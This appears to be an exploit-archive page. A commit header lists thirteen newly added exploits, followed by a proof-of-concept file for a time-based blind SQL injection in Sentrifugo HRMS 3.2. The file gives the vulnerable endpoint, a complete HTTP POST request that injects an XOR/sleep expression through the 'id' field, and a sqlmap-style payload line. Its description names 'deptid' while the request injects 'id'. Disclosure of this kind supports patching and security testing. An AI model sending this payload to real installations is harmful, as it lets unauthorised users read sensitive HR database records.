4df22c7404
13 changes to exploits/shellcodes Microsoft Windows - 'WizardOpium' Local Privilege Escalation OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit) Apache ActiveMQ 5.x-5.11.1 - Directory Traversal Shell Upload (Metasploit) PHP-FPM - Underflow Remote Code Execution (Metasploit) Google Chrome 72 and 73 - Array.map Out-of-Bounds Write (Metasploit) Google Chrome 67_ 68 and 69 - Object.create Type Confusion (Metasploit) Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit) ManageEngine ServiceDesk Plus 9.3 - User Enumeration 60CycleCMS - 'news.php' SQL Injection Sahi pro 8.x - Directory Traversal Sentrifugo HRMS 3.2 - 'id' SQL Injection
45 lines
No EOL
1.6 KiB
Text
45 lines
No EOL
1.6 KiB
Text
# Exploit Title: Sentrifugo HRMS 3.2 - 'id' SQL Injection
|
|
# Exploit Author: minhnb
|
|
# Website:
|
|
# Date: 2020-03-06
|
|
# Google Dork: N/A
|
|
# Vendor: http://www.sapplica.com
|
|
# Software Link: http://www.sentrifugo.com/download
|
|
# Affected Version: 3.2 and possibly before
|
|
# Patched Version: unpatched
|
|
# Category: Web Application
|
|
# Platform: PHP
|
|
# Tested on: Win10x64 & Kali Linux
|
|
# CVE: N/A
|
|
|
|
# 1. Technical Description:
|
|
# Sentrifugo HRMS version 3.2 and possibly before are affected by Blind SQL Injection in deptid
|
|
# parameter through POST request in "/sentrifugo/index.php/holidaygroups/add" resource.
|
|
# This allows a user of the application without permissions to read sensitive information from
|
|
# the database used by the application.
|
|
|
|
# 2. Proof Of Concept (PoC):
|
|
|
|
POST /sentrifugo/index.php/holidaygroups/add HTTP/1.1
|
|
Content-Type: application/x-www-form-urlencoded
|
|
X-Requested-With: XMLHttpRequest
|
|
Referer: http://localhost/sentrifugo/index.php
|
|
Connection: keep-alive
|
|
Cookie: PHPSESSID=j4a2o4mq6frhfltq2a0h2spknh
|
|
Accept: */*
|
|
Accept-Encoding: gzip,deflate
|
|
Content-Length: 98
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
|
|
|
|
Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate()%2Csleep(9)%2C0))XOR'Z&submit=Save
|
|
|
|
|
|
# 3. Payload:
|
|
|
|
Parameter: id (POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0 time-based blind - Parameter replace
|
|
Payload: Cancel=1&description=555&groupname=e&id=0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z&submit=Save
|
|
|
|
# 4. Reference: |